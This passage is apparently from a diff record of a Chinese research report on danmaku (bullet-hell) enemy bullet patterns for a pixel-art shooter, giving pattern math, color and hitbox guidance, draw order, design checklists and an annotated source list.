华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |", "new_no": 309}, {"type": "add", "content": "| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |", "new_no": 310}, {"type": "add", "content": "| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |", "new_no": 311}, {"type": "add", "content": "| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |", "new_no": 312}, {"type": "add", "content": "", "new_no": 313}, {"type": "add", "content": "**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。", "new_no": 314}, {"type": "add", "content": "", "new_no": 315}, {"type": "add", "content": "### 5.2 颜色编码", "new_no": 316}, {"type": "add", "content": "", "new_no": 317}, {"type": "add", "content": "- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。", "new_no": 318}, {"type": "add", "content": "- **按属性/危险度编码**示例:", "new_no": 319}, {"type": "add", "content": " - 红/橙 = 高速、致命、普通攻击;", "new_no": 320}, {"type": "add", "content": " - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);", "new_no": 321}, {"type": "add", "content": " - 紫/白 = 装饰弹、非致命、演出用;", "new_no": 322}, {"type": "add", "content": " - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。", "new_no": 323}, {"type": "add", "content": " - (以上为常见实践惯例,属综合常识,非单一文献结论。)", "new_no": 324}, {"type": "add", "content": "- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。", "new_no": 325}, {"type": "add", "content": "- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。", "new_no": 326}, {"type": "add", "content": "", "new_no": 327}, {"type": "add", "content": "### 5.3 子弹大小与可躲避性", "new_no": 328}, {"type": "add", "content": "", "new_no": 329}, {"type": "add", "content": "- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。", "new_no": 330}, {"type": "add", "content": "- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。", "new_no": 331}, {"type": "add", "content": "- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。", "new_no": 332}, {"type": "add", "content": "- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。", "new_no": 333}, {"type": "add", "content": "", "new_no": 334}, {"type": "add", "content": "### 5.4 发光/粒子效果在像素风格中的处理", "new_no": 335}, {"type": "add", "content": "", "new_no": 336}, {"type": "add", "content": "- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。", "new_no": 337}, {"type": "add", "content": "- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。", "new_no": 338}, {"type": "add", "content": "- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。", "new_no": 339}, {"type": "add", "content": "- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。", "new_no": 340}, {"type": "add", "content": "- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。", "new_no": 341}, {"type": "add", "content": "- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。", "new_no": 342}, {"type": "add", "content": "", "new_no": 343}, {"type": "add", "content": "### 5.5 弹幕层级的视觉优先级", "new_no": 344}, {"type": "add", "content": "", "new_no": 345}, {"type": "add", "content": "绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):", "new_no": 346}, {"type": "add", "content": "", "new_no": 347}, {"type": "add", "content": "1. 背景/场景层", "new_no": 348}, {"type": "add", "content": "2. 地面敌人/可破坏物", "new_no": 349}, {"type": "add", "content": "3. 道具、点数", "new_no": 350}, {"type": "add", "content": "4. 玩家射击、爆炸特效(半透明)", "new_no": 351}, {"type": "add", "content": "5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**", "new_no": 352}, {"type": "add", "content": "6. 玩家机绘 + 判定点指示(聚焦时)", "new_no": 353}, {"type": "add", "content": "7. UI(血量/符卡名/时间)", "new_no": 354}, {"type": "add", "content": "", "new_no": 355}, {"type": "add", "content": "理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。", "new_no": 356}, {"type": "add", "content": "", "new_no": 357}, {"type": "add", "content": "### 5.6 像素风格弹幕设计清单(落地用)", "new_no": 358}, {"type": "add", "content": "", "new_no": 359}, {"type": "add", "content": "- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);", "new_no": 360}, {"type": "add", "content": "- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;", "new_no": 361}, {"type": "add", "content": "- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;", "new_no": 362}, {"type": "add", "content": "- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;", "new_no": 363}, {"type": "add", "content": "- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);", "new_no": 364}, {"type": "add", "content": "- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);", "new_no": 365}, {"type": "add", "content": "- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;", "new_no": 366}, {"type": "add", "content": "- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。", "new_no": 367}, {"type": "add", "content": "", "new_no": 368}, {"type": "add", "content": "---", "new_no": 369}, {"type": "add", "content": "", "new_no": 370}, {"type": "add", "content": "## 6. 对本项目(像素风弹幕游戏)的落地建议汇总", "new_no": 371}, {"type": "add", "content": "", "new_no": 372}, {"type": "add", "content": "1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。", "new_no": 373}, {"type": "add", "content": "2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。", "new_no": 374}, {"type": "add", "content": "3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。", "new_no": 375}, {"type": "add", "content": "4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。", "new_no": 376}, {"type": "add", "content": "5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。", "new_no": 377}, {"type": "add", "content": "", "new_no": 378}, {"type": "add", "content": "---", "new_no": 379}, {"type": "add", "content": "", "new_no": 380}, {"type": "add", "content": "## 7. 信息来源与置信度说明", "new_no": 381}, {"type": "add", "content": "", "new_no": 382}, {"type": "add", "content": "按信息诚实原则,对所有关键结论标注来源与置信度:", "new_no": 383}, {"type": "add", "content": "", "new_no": 384}, {"type": "add", "content": "**(A)本轮调研直接引用的网页来源(置信度高,可复核):**", "new_no": 385}, {"type": "add", "content": "", "new_no": 386}, {"type": "add", "content": "1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en", "new_no": 387}, {"type": "add", "content": "2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html", "new_no": 388}, {"type": "add", "content": "3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html", "new_no": 389}, {"type": "add", "content": "4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡", "new_no": 390}, {"type": "add", "content": "5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=", "new_no": 391}, {"type": "add", "content": "6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)", "new_no": 392}, {"type": "add", "content": "7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide", "new_no": 393}, {"type": "add", "content": "8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design", "new_no": 394}, {"type": "add", "content": "9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups", "new_no": 395}, {"type": "add", "content": "10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo", "new_no": 396}, {"type": "add", "content": "11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything", "new_no": 397}, {"type": "add", "content": "12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku", "new_no": 398}, {"type": "add", "content": "13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup", "new_no": 399}, {"type": "add", "content": "14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md", "new_no": 400}, {"type": "add", "content": "15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101", "new_no": 401}, {"type": "add", "content": "16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/", "new_no": 402}, {"type": "add", "content": "17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。", "new_no": 403}, {"type": "add", "content": "", "new_no": 404}, {"type": "add", "content": "**(B)置信度说明:**", "new_no": 405}, {"type": "add", "content": "", "new_no": 406}, {"type": "add", "content": "- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。", "new_no": 407}, {"type": "add", "content": "- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_no": 408}, {"type": "add", "content": "- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。", "new_no": 409}, {"type": "add", "content": "- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。", "new_no": 410}, {"type": "add", "content": "", "new_no": 411}, {"type": "add", "content": "---", "new_no": 412}, {"type": "add", "content": "", "new_no": 413}, {"type": "add", "content": "## 附录 A:参考链接汇总", "new_no": 414}, {"type": "add", "content": "", "new_no": 415}, {"type": "add", "content": "- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)", "new_no": 416}, {"type": "add", "content": "- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)", "new_no": 417}, {"type": "add", "content": "- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)", "new_no": 418}, {"type": "add", "content": "- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)", "new_no": 419}, {"type": "add", "content": "- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)", "new_no": 420}, {"type": "add", "content": "- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)", "new_no": 421}, {"type": "add", "content": "- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)", "new_no": 422}, {"type": "add", "content": "- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)", "new_no": 423}, {"type": "add", "content": "- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)", "new_no": 424}, {"type": "add", "content": "- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)", "new_no": 425}, {"type": "add", "content": "- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)", "new_no": 426}, {"type": "add", "content": "- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)", "new_no": 427}, {"type": "add", "content": "- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)", "new_no": 428}, {"type": "add", "content": "- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)", "new_no": 429}, {"type": "add", "content": "- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)", "new_no": 430}, {"type": "add", "content": "- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)", "new_no": 431}, {"type": "add", "content": "- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)", "new_no": 432}, {"type": "add", "content": "- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)", "new_no": 433}, {"type": "add", "content": "- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)", "new_no": 434}, {"type": "add", "content": "- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)", "new_no": 435}, {"type": "add", "content": "", "new_no": 436}, {"type": "add", "content": "*报告完*", "new_no": 437}], "truncated": false, "current_text": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- 